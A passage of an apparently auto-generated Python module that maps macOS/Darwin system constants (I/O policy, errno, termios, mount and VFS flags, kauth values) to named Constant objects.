Constant('IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION',6) IOPOL_TYPE_VFS_IGNORE_PERMISSIONS = Constant('IOPOL_TYPE_VFS_IGNORE_PERMISSIONS',7) IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE = Constant('IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE',8) IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES = Constant('IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES',9) IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY = Constant('IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY',10) IOPOL_SCOPE_PROCESS = Constant('IOPOL_SCOPE_PROCESS',0) IOPOL_SCOPE_THREAD = Constant('IOPOL_SCOPE_THREAD',1) IOPOL_SCOPE_DARWIN_BG = Constant('IOPOL_SCOPE_DARWIN_BG',2) IOPOL_DEFAULT = Constant('IOPOL_DEFAULT',0) IOPOL_IMPORTANT = Constant('IOPOL_IMPORTANT',1) IOPOL_PASSIVE = Constant('IOPOL_PASSIVE',2) IOPOL_THROTTLE = Constant('IOPOL_THROTTLE',3) IOPOL_UTILITY = Constant('IOPOL_UTILITY',4) IOPOL_STANDARD = Constant('IOPOL_STANDARD',5) IOPOL_ATIME_UPDATES_DEFAULT = Constant('IOPOL_ATIME_UPDATES_DEFAULT',0) IOPOL_ATIME_UPDATES_OFF = Constant('IOPOL_ATIME_UPDATES_OFF',1) IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT',0) IOPOL_MATERIALIZE_DATALESS_FILES_OFF = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_OFF',1) IOPOL_MATERIALIZE_DATALESS_FILES_ON = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_ON',2) IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT = Constant('IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT',0) IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME = Constant('IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME',1) IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT = Constant('IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT',0) IOPOL_VFS_TRIGGER_RESOLVE_OFF = Constant('IOPOL_VFS_TRIGGER_RESOLVE_OFF',1) IOPOL_VFS_CONTENT_PROTECTION_DEFAULT = Constant('IOPOL_VFS_CONTENT_PROTECTION_DEFAULT',0) IOPOL_VFS_CONTENT_PROTECTION_IGNORE = Constant('IOPOL_VFS_CONTENT_PROTECTION_IGNORE',1) IOPOL_VFS_IGNORE_PERMISSIONS_OFF = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_OFF',0) IOPOL_VFS_IGNORE_PERMISSIONS_ON = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_ON',1) IOPOL_VFS_SKIP_MTIME_UPDATE_OFF = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_OFF',0) IOPOL_VFS_SKIP_MTIME_UPDATE_ON = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_ON',1) IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF',0) IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON',1) IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT',0) IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON',1) IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT',0) IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON',1) IOCPARM_MASK = Constant('IOCPARM_MASK',0x1fff) XATTR_NOFOLLOW = Constant('XATTR_NOFOLLOW',0x0001) XATTR_CREATE = Constant('XATTR_CREATE',0x0002) XATTR_REPLACE = Constant('XATTR_REPLACE',0x0004) XATTR_NOSECURITY = Constant('XATTR_NOSECURITY',0x0008) XATTR_NODEFAULT = Constant('XATTR_NODEFAULT',0x0010) XATTR_SHOWCOMPRESSION = Constant('XATTR_SHOWCOMPRESSION',0x0020) XATTR_NOFOLLOW_ANY = Constant('XATTR_NOFOLLOW_ANY',0x0040) XATTR_MAXNAMELEN = Constant('XATTR_MAXNAMELEN',127) PR_SLOWHZ = Constant('PR_SLOWHZ',2) PRC_IFDOWN = Constant('PRC_IFDOWN',0) PRC_ROUTEDEAD = Constant('PRC_ROUTEDEAD',1) PRC_IFUP = Constant('PRC_IFUP',2) PRC_QUENCH2 = Constant('PRC_QUENCH2',3) PRC_QUENCH = Constant('PRC_QUENCH',4) PRC_MSGSIZE = Constant('PRC_MSGSIZE',5) PRC_HOSTDEAD = Constant('PRC_HOSTDEAD',6) PRC_HOSTUNREACH = Constant('PRC_HOSTUNREACH',7) PRC_UNREACH_NET = Constant('PRC_UNREACH_NET',8) PRC_UNREACH_HOST = Constant('PRC_UNREACH_HOST',9) PRC_UNREACH_PROTOCOL = Constant('PRC_UNREACH_PROTOCOL',10) PRC_UNREACH_PORT = Constant('PRC_UNREACH_PORT',11) PRC_UNREACH_SRCFAIL = Constant('PRC_UNREACH_SRCFAIL',13) PRC_REDIRECT_NET = Constant('PRC_REDIRECT_NET',14) PRC_REDIRECT_HOST = Constant('PRC_REDIRECT_HOST',15) PRC_REDIRECT_TOSNET = Constant('PRC_REDIRECT_TOSNET',16) PRC_REDIRECT_TOSHOST = Constant('PRC_REDIRECT_TOSHOST',17) PRC_TIMXCEED_INTRANS = Constant('PRC_TIMXCEED_INTRANS',18) PRC_TIMXCEED_REASS = Constant('PRC_TIMXCEED_REASS',19) PRC_PARAMPROB = Constant('PRC_PARAMPROB',20) PRC_UNREACH_ADMIN_PROHIB = Constant('PRC_UNREACH_ADMIN_PROHIB',21) PRC_NCMDS = Constant('PRC_NCMDS',22) KEV_CTL_SUBCLASS = Constant('KEV_CTL_SUBCLASS',2) KEV_CTL_REGISTERED = Constant('KEV_CTL_REGISTERED',1) KEV_CTL_DEREGISTERED = Constant('KEV_CTL_DEREGISTERED',2) MAX_KCTL_NAME = Constant('MAX_KCTL_NAME',96) CTL_FLAG_PRIVILEGED = Constant('CTL_FLAG_PRIVILEGED',0x1) CTL_FLAG_REG_ID_UNIT = Constant('CTL_FLAG_REG_ID_UNIT',0x2) CTL_FLAG_REG_SOCK_STREAM = Constant('CTL_FLAG_REG_SOCK_STREAM',0x4) CTL_DATA_NOWAKEUP = Constant('CTL_DATA_NOWAKEUP',0x1) CTL_DATA_EOR = Constant('CTL_DATA_EOR',0x2) __has_safe_buffers = Constant('__has_safe_buffers',0) __DARWIN_ONLY_64_BIT_INO_T = Constant('__DARWIN_ONLY_64_BIT_INO_T',0) __DARWIN_ONLY_UNIX_CONFORMANCE = Constant('__DARWIN_ONLY_UNIX_CONFORMANCE',0) __DARWIN_ONLY_VERS_1050 = Constant('__DARWIN_ONLY_VERS_1050',0) __STDC_WANT_LIB_EXT1__ = Constant('__STDC_WANT_LIB_EXT1__',1) __DARWIN_NO_LONG_LONG = Constant('__DARWIN_NO_LONG_LONG',0) _DARWIN_FEATURE_64_BIT_INODE = Constant('_DARWIN_FEATURE_64_BIT_INODE',1) _DARWIN_FEATURE_ONLY_64_BIT_INODE = Constant('_DARWIN_FEATURE_ONLY_64_BIT_INODE',1) _DARWIN_FEATURE_ONLY_VERS_1050 = Constant('_DARWIN_FEATURE_ONLY_VERS_1050',1) _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE',1) _DARWIN_FEATURE_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_UNIX_CONFORMANCE',3) __has_ptrcheck = Constant('__has_ptrcheck',0) MAXMAXPARTITIONS = Constant('MAXMAXPARTITIONS',22) NDDATA = Constant('NDDATA',5) NSPARE = Constant('NSPARE',5) DTYPE_SMD = Constant('DTYPE_SMD',1) DTYPE_MSCP = Constant('DTYPE_MSCP',2) DTYPE_DEC = Constant('DTYPE_DEC',3) DTYPE_SCSI = Constant('DTYPE_SCSI',4) DTYPE_ESDI = Constant('DTYPE_ESDI',5) DTYPE_ST506 = Constant('DTYPE_ST506',6) DTYPE_HPIB = Constant('DTYPE_HPIB',7) DTYPE_HPFL = Constant('DTYPE_HPFL',8) DTYPE_FLOPPY = Constant('DTYPE_FLOPPY',10) FS_UNUSED = Constant('FS_UNUSED',0) FS_SWAP = Constant('FS_SWAP',1) FS_V6 = Constant('FS_V6',2) FS_V7 = Constant('FS_V7',3) FS_SYSV = Constant('FS_SYSV',4) FS_V71K = Constant('FS_V71K',5) FS_V8 = Constant('FS_V8',6) FS_BSDFFS = Constant('FS_BSDFFS',7) FS_MSDOS = Constant('FS_MSDOS',8) FS_BSDLFS = Constant('FS_BSDLFS',9) FS_OTHER = Constant('FS_OTHER',10) FS_HPFS = Constant('FS_HPFS',11) FS_ISO9660 = Constant('FS_ISO9660',12) FS_BOOT = Constant('FS_BOOT',13) FS_ADOS = Constant('FS_ADOS',14) FS_HFS = Constant('FS_HFS',15) D_REMOVABLE = Constant('D_REMOVABLE',0x01) D_ECC = Constant('D_ECC',0x02) D_BADSECT = Constant('D_BADSECT',0x04) D_RAMDISK = Constant('D_RAMDISK',0x08) D_CHAIN = Constant('D_CHAIN',0x10) D_SSE = Constant('D_SSE',0x1) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EDEADLK = Constant('EDEADLK',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EAGAIN = Constant('EAGAIN',35) EINPROGRESS = Constant('EINPROGRESS',36) EALREADY = Constant('EALREADY',37) ENOTSOCK = Constant('ENOTSOCK',38) EDESTADDRREQ = Constant('EDESTADDRREQ',39) EMSGSIZE = Constant('EMSGSIZE',40) EPROTOTYPE = Constant('EPROTOTYPE',41) ENOPROTOOPT = Constant('ENOPROTOOPT',42) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44) ENOTSUP = Constant('ENOTSUP',45) EPFNOSUPPORT = Constant('EPFNOSUPPORT',46) EAFNOSUPPORT = Constant('EAFNOSUPPORT',47) EADDRINUSE = Constant('EADDRINUSE',48) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49) ENETDOWN = Constant('ENETDOWN',50) ENETUNREACH = Constant('ENETUNREACH',51) ENETRESET = Constant('ENETRESET',52) ECONNABORTED = Constant('ECONNABORTED',53) ECONNRESET = Constant('ECONNRESET',54) ENOBUFS = Constant('ENOBUFS',55) EISCONN = Constant('EISCONN',56) ENOTCONN = Constant('ENOTCONN',57) ESHUTDOWN = Constant('ESHUTDOWN',58) ETOOMANYREFS = Constant('ETOOMANYREFS',59) ETIMEDOUT = Constant('ETIMEDOUT',60) ECONNREFUSED = Constant('ECONNREFUSED',61) ELOOP = Constant('ELOOP',62) ENAMETOOLONG = Constant('ENAMETOOLONG',63) EHOSTDOWN = Constant('EHOSTDOWN',64) EHOSTUNREACH = Constant('EHOSTUNREACH',65) ENOTEMPTY = Constant('ENOTEMPTY',66) EPROCLIM = Constant('EPROCLIM',67) EUSERS = Constant('EUSERS',68) EDQUOT = Constant('EDQUOT',69) ESTALE = Constant('ESTALE',70) EREMOTE = Constant('EREMOTE',71) EBADRPC = Constant('EBADRPC',72) ERPCMISMATCH = Constant('ERPCMISMATCH',73) EPROGUNAVAIL = Constant('EPROGUNAVAIL',74) EPROGMISMATCH = Constant('EPROGMISMATCH',75) EPROCUNAVAIL = Constant('EPROCUNAVAIL',76) ENOLCK = Constant('ENOLCK',77) ENOSYS = Constant('ENOSYS',78) EFTYPE = Constant('EFTYPE',79) EAUTH = Constant('EAUTH',80) ENEEDAUTH = Constant('ENEEDAUTH',81) EPWROFF = Constant('EPWROFF',82) EDEVERR = Constant('EDEVERR',83) EOVERFLOW = Constant('EOVERFLOW',84) EBADEXEC = Constant('EBADEXEC',85) EBADARCH = Constant('EBADARCH',86) ESHLIBVERS = Constant('ESHLIBVERS',87) EBADMACHO = Constant('EBADMACHO',88) ECANCELED = Constant('ECANCELED',89) EIDRM = Constant('EIDRM',90) ENOMSG = Constant('ENOMSG',91) EILSEQ = Constant('EILSEQ',92) ENOATTR = Constant('ENOATTR',93) EBADMSG = Constant('EBADMSG',94) EMULTIHOP = Constant('EMULTIHOP',95) ENODATA = Constant('ENODATA',96) ENOLINK = Constant('ENOLINK',97) ENOSR = Constant('ENOSR',98) ENOSTR = Constant('ENOSTR',99) EPROTO = Constant('EPROTO',100) ETIME = Constant('ETIME',101) EOPNOTSUPP = Constant('EOPNOTSUPP',102) ENOPOLICY = Constant('ENOPOLICY',103) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',104) EOWNERDEAD = Constant('EOWNERDEAD',105) EQFULL = Constant('EQFULL',106) ELAST = Constant('ELAST',106) VEOF = Constant('VEOF',0) VEOL = Constant('VEOL',1) VEOL2 = Constant('VEOL2',2) VERASE = Constant('VERASE',3) VWERASE = Constant('VWERASE',4) VKILL = Constant('VKILL',5) VREPRINT = Constant('VREPRINT',6) VINTR = Constant('VINTR',8) VQUIT = Constant('VQUIT',9) VSUSP = Constant('VSUSP',10) VDSUSP = Constant('VDSUSP',11) VSTART = Constant('VSTART',12) VSTOP = Constant('VSTOP',13) VLNEXT = Constant('VLNEXT',14) VDISCARD = Constant('VDISCARD',15) VMIN = Constant('VMIN',16) VTIME = Constant('VTIME',17) VSTATUS = Constant('VSTATUS',18) NCCS = Constant('NCCS',20) IGNBRK = Constant('IGNBRK',0x00000001) BRKINT = Constant('BRKINT',0x00000002) IGNPAR = Constant('IGNPAR',0x00000004) PARMRK = Constant('PARMRK',0x00000008) INPCK = Constant('INPCK',0x00000010) ISTRIP = Constant('ISTRIP',0x00000020) INLCR = Constant('INLCR',0x00000040) IGNCR = Constant('IGNCR',0x00000080) ICRNL = Constant('ICRNL',0x00000100) IXON = Constant('IXON',0x00000200) IXOFF = Constant('IXOFF',0x00000400) IXANY = Constant('IXANY',0x00000800) IMAXBEL = Constant('IMAXBEL',0x00002000) IUTF8 = Constant('IUTF8',0x00004000) OPOST = Constant('OPOST',0x00000001) ONLCR = Constant('ONLCR',0x00000002) OXTABS = Constant('OXTABS',0x00000004) ONOEOT = Constant('ONOEOT',0x00000008) OCRNL = Constant('OCRNL',0x00000010) ONOCR = Constant('ONOCR',0x00000020) ONLRET = Constant('ONLRET',0x00000040) OFILL = Constant('OFILL',0x00000080) NLDLY = Constant('NLDLY',0x00000300) TABDLY = Constant('TABDLY',0x00000c04) CRDLY = Constant('CRDLY',0x00003000) FFDLY = Constant('FFDLY',0x00004000) BSDLY = Constant('BSDLY',0x00008000) VTDLY = Constant('VTDLY',0x00010000) OFDEL = Constant('OFDEL',0x00020000) TAB3 = Constant('TAB3',0x00000004) VT0 = Constant('VT0',0x00000000) VT1 = Constant('VT1',0x00010000) CIGNORE = Constant('CIGNORE',0x00000001) CSIZE = Constant('CSIZE',0x00000300) CS5 = Constant('CS5',0x00000000) CS6 = Constant('CS6',0x00000100) CS7 = Constant('CS7',0x00000200) CS8 = Constant('CS8',0x00000300) CSTOPB = Constant('CSTOPB',0x00000400) CREAD = Constant('CREAD',0x00000800) PARENB = Constant('PARENB',0x00001000) PARODD = Constant('PARODD',0x00002000) HUPCL = Constant('HUPCL',0x00004000) CLOCAL = Constant('CLOCAL',0x00008000) CCTS_OFLOW = Constant('CCTS_OFLOW',0x00010000) CRTS_IFLOW = Constant('CRTS_IFLOW',0x00020000) CDTR_IFLOW = Constant('CDTR_IFLOW',0x00040000) CDSR_OFLOW = Constant('CDSR_OFLOW',0x00080000) CCAR_OFLOW = Constant('CCAR_OFLOW',0x00100000) ECHOKE = Constant('ECHOKE',0x00000001) ECHOE = Constant('ECHOE',0x00000002) ECHOK = Constant('ECHOK',0x00000004) ECHONL = Constant('ECHONL',0x00000010) ECHOPRT = Constant('ECHOPRT',0x00000020) ECHOCTL = Constant('ECHOCTL',0x00000040) ISIG = Constant('ISIG',0x00000080) ICANON = Constant('ICANON',0x00000100) ALTWERASE = Constant('ALTWERASE',0x00000200) IEXTEN = Constant('IEXTEN',0x00000400) EXTPROC = Constant('EXTPROC',0x00000800) NOKERNINFO = Constant('NOKERNINFO',0x02000000) TCSANOW = Constant('TCSANOW',0) TCSADRAIN = Constant('TCSADRAIN',1) TCSAFLUSH = Constant('TCSAFLUSH',2) TCSASOFT = Constant('TCSASOFT',0x10) B0 = Constant('B0',0) B50 = Constant('B50',50) B75 = Constant('B75',75) B110 = Constant('B110',110) B134 = Constant('B134',134) B150 = Constant('B150',150) B200 = Constant('B200',200) B300 = Constant('B300',300) B600 = Constant('B600',600) B1200 = Constant('B1200',1200) B1800 = Constant('B1800',1800) B2400 = Constant('B2400',2400) B4800 = Constant('B4800',4800) B9600 = Constant('B9600',9600) B19200 = Constant('B19200',19200) B38400 = Constant('B38400',38400) B7200 = Constant('B7200',7200) B14400 = Constant('B14400',14400) B28800 = Constant('B28800',28800) B57600 = Constant('B57600',57600) B76800 = Constant('B76800',76800) B115200 = Constant('B115200',115200) B230400 = Constant('B230400',230400) EXTA = Constant('EXTA',19200) EXTB = Constant('EXTB',38400) RENAME_SECLUDE = Constant('RENAME_SECLUDE',0x00000001) RENAME_SWAP = Constant('RENAME_SWAP',0x00000002) RENAME_EXCL = Constant('RENAME_EXCL',0x00000004) RENAME_RESERVED1 = Constant('RENAME_RESERVED1',0x00000008) RENAME_NOFOLLOW_ANY = Constant('RENAME_NOFOLLOW_ANY',0x00000010) MFSNAMELEN = Constant('MFSNAMELEN',15) MFSTYPENAMELEN = Constant('MFSTYPENAMELEN',16) MNAMELEN = Constant('MNAMELEN',90) MNT_EXT_ROOT_DATA_VOL = Constant('MNT_EXT_ROOT_DATA_VOL',0x00000001) MNT_EXT_FSKIT = Constant('MNT_EXT_FSKIT',0x00000002) MNT_RDONLY = Constant('MNT_RDONLY',0x00000001) MNT_SYNCHRONOUS = Constant('MNT_SYNCHRONOUS',0x00000002) MNT_NOEXEC = Constant('MNT_NOEXEC',0x00000004) MNT_NOSUID = Constant('MNT_NOSUID',0x00000008) MNT_NODEV = Constant('MNT_NODEV',0x00000010) MNT_UNION = Constant('MNT_UNION',0x00000020) MNT_ASYNC = Constant('MNT_ASYNC',0x00000040) MNT_CPROTECT = Constant('MNT_CPROTECT',0x00000080) MNT_EXPORTED = Constant('MNT_EXPORTED',0x00000100) MNT_REMOVABLE = Constant('MNT_REMOVABLE',0x00000200) MNT_QUARANTINE = Constant('MNT_QUARANTINE',0x00000400) MNT_LOCAL = Constant('MNT_LOCAL',0x00001000) MNT_QUOTA = Constant('MNT_QUOTA',0x00002000) MNT_ROOTFS = Constant('MNT_ROOTFS',0x00004000) MNT_DOVOLFS = Constant('MNT_DOVOLFS',0x00008000) MNT_DONTBROWSE = Constant('MNT_DONTBROWSE',0x00100000) MNT_IGNORE_OWNERSHIP = Constant('MNT_IGNORE_OWNERSHIP',0x00200000) MNT_AUTOMOUNTED = Constant('MNT_AUTOMOUNTED',0x00400000) MNT_JOURNALED = Constant('MNT_JOURNALED',0x00800000) MNT_NOUSERXATTR = Constant('MNT_NOUSERXATTR',0x01000000) MNT_DEFWRITE = Constant('MNT_DEFWRITE',0x02000000) MNT_MULTILABEL = Constant('MNT_MULTILABEL',0x04000000) MNT_NOFOLLOW = Constant('MNT_NOFOLLOW',0x08000000) MNT_NOATIME = Constant('MNT_NOATIME',0x10000000) MNT_SNAPSHOT = Constant('MNT_SNAPSHOT',0x40000000) MNT_STRICTATIME = Constant('MNT_STRICTATIME',0x80000000) MNT_UPDATE = Constant('MNT_UPDATE',0x00010000) MNT_NOBLOCK = Constant('MNT_NOBLOCK',0x00020000) MNT_RELOAD = Constant('MNT_RELOAD',0x00040000) MNT_FORCE = Constant('MNT_FORCE',0x00080000) VFS_GENERIC = Constant('VFS_GENERIC',0) VFS_NUMMNTOPS = Constant('VFS_NUMMNTOPS',1) VFS_MAXTYPENUM = Constant('VFS_MAXTYPENUM',1) VFS_CONF = Constant('VFS_CONF',2) MNT_WAIT = Constant('MNT_WAIT',1) MNT_NOWAIT = Constant('MNT_NOWAIT',2) MNT_DWAIT = Constant('MNT_DWAIT',4) MNT_VOLUME = Constant('MNT_VOLUME',8) VFS_CTL_VERS1 = Constant('VFS_CTL_VERS1',0x01) VFS_CTL_OSTATFS = Constant('VFS_CTL_OSTATFS',0x00010001) VFS_CTL_UMOUNT = Constant('VFS_CTL_UMOUNT',0x00010002) VFS_CTL_QUERY = Constant('VFS_CTL_QUERY',0x00010003) VFS_CTL_NEWADDR = Constant('VFS_CTL_NEWADDR',0x00010004) VFS_CTL_TIMEO = Constant('VFS_CTL_TIMEO',0x00010005) VFS_CTL_NOLOCKS = Constant('VFS_CTL_NOLOCKS',0x00010006) VFS_CTL_SADDR = Constant('VFS_CTL_SADDR',0x00010007) VFS_CTL_DISC = Constant('VFS_CTL_DISC',0x00010008) VFS_CTL_SERVERINFO = Constant('VFS_CTL_SERVERINFO',0x00010009) VFS_CTL_NSTATUS = Constant('VFS_CTL_NSTATUS',0x0001000A) VFS_CTL_STATFS64 = Constant('VFS_CTL_STATFS64',0x0001000B) VQ_NOTRESP = Constant('VQ_NOTRESP',0x0001) VQ_NEEDAUTH = Constant('VQ_NEEDAUTH',0x0002) VQ_LOWDISK = Constant('VQ_LOWDISK',0x0004) VQ_MOUNT = Constant('VQ_MOUNT',0x0008) VQ_UNMOUNT = Constant('VQ_UNMOUNT',0x0010) VQ_DEAD = Constant('VQ_DEAD',0x0020) VQ_ASSIST = Constant('VQ_ASSIST',0x0040) VQ_NOTRESPLOCK = Constant('VQ_NOTRESPLOCK',0x0080) VQ_UPDATE = Constant('VQ_UPDATE',0x0100) VQ_VERYLOWDISK = Constant('VQ_VERYLOWDISK',0x0200) VQ_SYNCEVENT = Constant('VQ_SYNCEVENT',0x0400) VQ_SERVEREVENT = Constant('VQ_SERVEREVENT',0x0800) VQ_QUOTA = Constant('VQ_QUOTA',0x1000) VQ_NEARLOWDISK = Constant('VQ_NEARLOWDISK',0x2000) VQ_DESIRED_DISK = Constant('VQ_DESIRED_DISK',0x4000) VQ_FREE_SPACE_CHANGE = Constant('VQ_FREE_SPACE_CHANGE',0x8000) VQ_PURGEABLE_SPACE_CHANGE = Constant('VQ_PURGEABLE_SPACE_CHANGE',0x10000) VQ_FLAG20000 = Constant('VQ_FLAG20000',0x20000) VFS_IOATTR_FLAGS_FUA = Constant('VFS_IOATTR_FLAGS_FUA',0x00000001) VFS_IOATTR_FLAGS_UNMAP = Constant('VFS_IOATTR_FLAGS_UNMAP',0x00000002) VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED = Constant('VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED',0x00000010) VFS_TBLTHREADSAFE = Constant('VFS_TBLTHREADSAFE',0x0001) VFS_TBLFSNODELOCK = Constant('VFS_TBLFSNODELOCK',0x0002) VFS_TBLNOTYPENUM = Constant('VFS_TBLNOTYPENUM',0x0008) VFS_TBLLOCALVOL = Constant('VFS_TBLLOCALVOL',0x0010) VFS_TBL64BITREADY = Constant('VFS_TBL64BITREADY',0x0020) VFS_TBLNATIVEXATTR = Constant('VFS_TBLNATIVEXATTR',0x0040) VFS_TBLDIRLINKS = Constant('VFS_TBLDIRLINKS',0x0080) VFS_TBLUNMOUNT_PREFLIGHT = Constant('VFS_TBLUNMOUNT_PREFLIGHT',0x0100) VFS_TBLGENERICMNTARGS = Constant('VFS_TBLGENERICMNTARGS',0x0200) VFS_TBLREADDIR_EXTENDED = Constant('VFS_TBLREADDIR_EXTENDED',0x0400) VFS_TBLNOMACLABEL = Constant('VFS_TBLNOMACLABEL',0x1000) VFS_TBLVNOP_PAGEINV2 = Constant('VFS_TBLVNOP_PAGEINV2',0x2000) VFS_TBLVNOP_PAGEOUTV2 = Constant('VFS_TBLVNOP_PAGEOUTV2',0x4000) VFS_TBLVNOP_NOUPDATEID_RENAME = Constant('VFS_TBLVNOP_NOUPDATEID_RENAME',0x8000) VFS_TBLVNOP_SECLUDE_RENAME = Constant('VFS_TBLVNOP_SECLUDE_RENAME',0x10000) VFS_TBLCANMOUNTROOT = Constant('VFS_TBLCANMOUNTROOT',0x20000) VFSIOC_MOUNT_BYROLE_has_recovery = Constant('VFSIOC_MOUNT_BYROLE_has_recovery',1) VFS_RETURNED = Constant('VFS_RETURNED',0) VFS_RETURNED_DONE = Constant('VFS_RETURNED_DONE',1) VFS_CLAIMED = Constant('VFS_CLAIMED',2) VFS_CLAIMED_DONE = Constant('VFS_CLAIMED_DONE',3) VFS_USER_EVENT = Constant('VFS_USER_EVENT',0) VFS_KERNEL_EVENT = Constant('VFS_KERNEL_EVENT',1) LK_NOWAIT = Constant('LK_NOWAIT',1) NFSV4_MAX_FH_SIZE = Constant('NFSV4_MAX_FH_SIZE',128) NFSV3_MAX_FH_SIZE = Constant('NFSV3_MAX_FH_SIZE',64) NFSV2_MAX_FH_SIZE = Constant('NFSV2_MAX_FH_SIZE',32) CRYPTEX_AUTH_STRUCT_VERSION = Constant('CRYPTEX_AUTH_STRUCT_VERSION',2) EV_FD = Constant('EV_FD',1) EV_RE = Constant('EV_RE',1) EV_WR = Constant('EV_WR',2) EV_EX = Constant('EV_EX',4) EV_RM = Constant('EV_RM',8) EV_MASK = Constant('EV_MASK',0xf) EV_RBYTES = Constant('EV_RBYTES',0x100) EV_WBYTES = Constant('EV_WBYTES',0x200) EV_RCLOSED = Constant('EV_RCLOSED',0x400) EV_RCONN = Constant('EV_RCONN',0x800) EV_WCLOSED = Constant('EV_WCLOSED',0x1000) EV_WCONN = Constant('EV_WCONN',0x2000) EV_OOB = Constant('EV_OOB',0x4000) EV_FIN = Constant('EV_FIN',0x8000) EV_RESET = Constant('EV_RESET',0x10000) EV_TIMEOUT = Constant('EV_TIMEOUT',0x20000) EV_DMASK = Constant('EV_DMASK',0xffffff00) KDEBUG_LEVEL_NONE = Constant('KDEBUG_LEVEL_NONE',0) KDEBUG_LEVEL_IST = Constant('KDEBUG_LEVEL_IST',1) KDEBUG_LEVEL_STANDARD = Constant('KDEBUG_LEVEL_STANDARD',2) KDEBUG_LEVEL_FULL = Constant('KDEBUG_LEVEL_FULL',3) KDBG_FLAG_FILTERED = Constant('KDBG_FLAG_FILTERED',0x01) KDBG_FLAG_NOPROCFILT = Constant('KDBG_FLAG_NOPROCFILT',0x02) __DARWIN_LITTLE_ENDIAN = Constant('__DARWIN_LITTLE_ENDIAN',1234) __DARWIN_BIG_ENDIAN = Constant('__DARWIN_BIG_ENDIAN',4321) __DARWIN_PDP_ENDIAN = Constant('__DARWIN_PDP_ENDIAN',3412) USE_CLANG_TYPES = Constant('USE_CLANG_TYPES',0) __DARWIN_NULL = Constant('__DARWIN_NULL',0) UBC_PUSHDIRTY = Constant('UBC_PUSHDIRTY',0x01) UBC_PUSHALL = Constant('UBC_PUSHALL',0x02) UBC_INVALIDATE = Constant('UBC_INVALIDATE',0x04) UBC_SYNC = Constant('UBC_SYNC',0x08) KAUTH_NTSID_MAX_AUTHORITIES = Constant('KAUTH_NTSID_MAX_AUTHORITIES',16) KAUTH_EXTLOOKUP_SUCCESS = Constant('KAUTH_EXTLOOKUP_SUCCESS',0) KAUTH_EXTLOOKUP_BADRQ = Constant('KAUTH_EXTLOOKUP_BADRQ',1) KAUTH_EXTLOOKUP_FAILURE = Constant('KAUTH_EXTLOOKUP_FAILURE',2) KAUTH_EXTLOOKUP_FATAL = Constant('KAUTH_EXTLOOKUP_FATAL',3) KAUTH_EXTLOOKUP_INPROG = Constant('KAUTH_EXTLOOKUP_INPROG',100) KAUTH_ACE_KINDMASK = Constant('KAUTH_ACE_KINDMASK',0xf) KAUTH_ACE_PERMIT = Constant('KAUTH_ACE_PERMIT',1) KAUTH_ACE_DENY = Constant('KAUTH_ACE_DENY',2) KAUTH_ACE_AUDIT = Constant('KAUTH_ACE_AUDIT',3) KAUTH_ACE_ALARM = Constant('KAUTH_ACE_ALARM',4) KAUTH_ACL_MAX_ENTRIES = 